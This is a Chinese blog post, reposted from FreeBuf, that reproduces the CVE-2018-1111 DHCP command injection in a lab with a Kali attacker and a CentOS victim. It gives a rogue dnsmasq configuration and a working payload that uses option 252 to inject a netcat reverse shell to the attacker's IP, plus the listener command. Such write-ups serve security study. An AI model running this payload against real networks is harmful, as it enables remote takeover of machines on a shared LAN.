CVE-2018-1111复现环境搭建与dhcp命令注入

栏目: 服务器 · 发布时间: 5年前

内容简介:DHCP是一个局域网的网络协议,主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6)。

*本文作者:m0nshaw,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

0×01 前言

最近留意到CVE-2018-1111这个洞,关于dhcp命令注入,便想复现一波。

DHCP是一个局域网的网络协议,主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6)。

当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。

最开始在Github上找到一个 Docker 的复现环境,尝试了各个docker镜像都发现漏洞已被patched掉了,无奈只能在VM上安装CentOS虚拟机。

https://github.com/knqyf263/CVE-2018-1111

关于漏洞成因,该文章已经分析的很清楚了,这里不再赘述。 https://researchcenter.paloaltonetworks.com/2018/07/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/

0×02 配置虚拟机网络

attacker: kali linux 2018 x64 192.168.71.5
victim: Centos 7 x64 192.168.71.10

打开VM虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。

将attacker、victim网络配置成仅主机模式:

CVE-2018-1111复现环境搭建与dhcp命令注入

0×003 搭建dhcp服务

先在kali下设置一下网络

ifconfig eth0 192.168.71.5 netmask 255.255.255.0

route add default gw 192.168.71.5

CVE-2018-1111复现环境搭建与dhcp命令注入

现在设置成192.168.71.5的ip。

在当前目录新建一个dnsmasq.conf文件,填入以下内容进行配置:

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range=192.168.71.10,192.168.71.20,12h

dhcp-option=3,192.168.71.5

dhcp-option=6,192.168.71.5

log-queries

log-facility=/var/log/dnsmasq.log

参数解释:

dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间
dhcp-option: 表示指定给 DHCP 客户端的选项信息
log-facility: 表示日志记录器

其中配置文件中包括的 option 取值及含义如下:

3: 设置网关地址选项
6: 设置 DNS 服务器地址选项
252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url

payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。

这里 dnsmasq.conf中的dhcp-range设置:

为 192.168.71.10-192.168.71.20/24 这个 ip 地址范围,租约时间为 12h。

dhcp-option 3 网关地址和 dhcp-option6 DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。

0×04 命令注入

利用dnsmasq伪造dns服务器,命令执行 payload 如下:

dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"

CVE-2018-1111复现环境搭建与dhcp命令注入

监听6666端口:

nc -l -p 6666 -v

重启CentOS的网络服务,然后 shell 就反弹回来了:

CVE-2018-1111复现环境搭建与dhcp命令注入

现在,CentOS的ip也是由我们伪造dhcp服务分配的(范围在192.168.71.10~192.168.71.20)。

CVE-2018-1111复现环境搭建与dhcp命令注入

*本文作者:m0nshaw,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

小团队构建大网站:中小研发团队架构实践

小团队构建大网站:中小研发团队架构实践

张辉清 等 / 电子工业出版社 / 2019-1 / 69

《小团队构建大网站:中小研发团队架构实践》结合作者近几年的工作经验,总结了一套可直接落地、基于开源、成本低、可快速搭建的中小研发团队架构实践方法。《小团队构建大网站:中小研发团队架构实践》共5篇22章,开篇是本书的导读;架构篇是设计思想的提升,包括企业总体架构、应用架构设计、统一应用分层等;框架篇主讲中间件和工具的使用,包括消息队列、缓存、Job、集中式日志、应用监控和微服务等;公共应用篇是技术与......一起来看看 《小团队构建大网站:中小研发团队架构实践》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

html转js在线工具
html转js在线工具

html转js在线工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具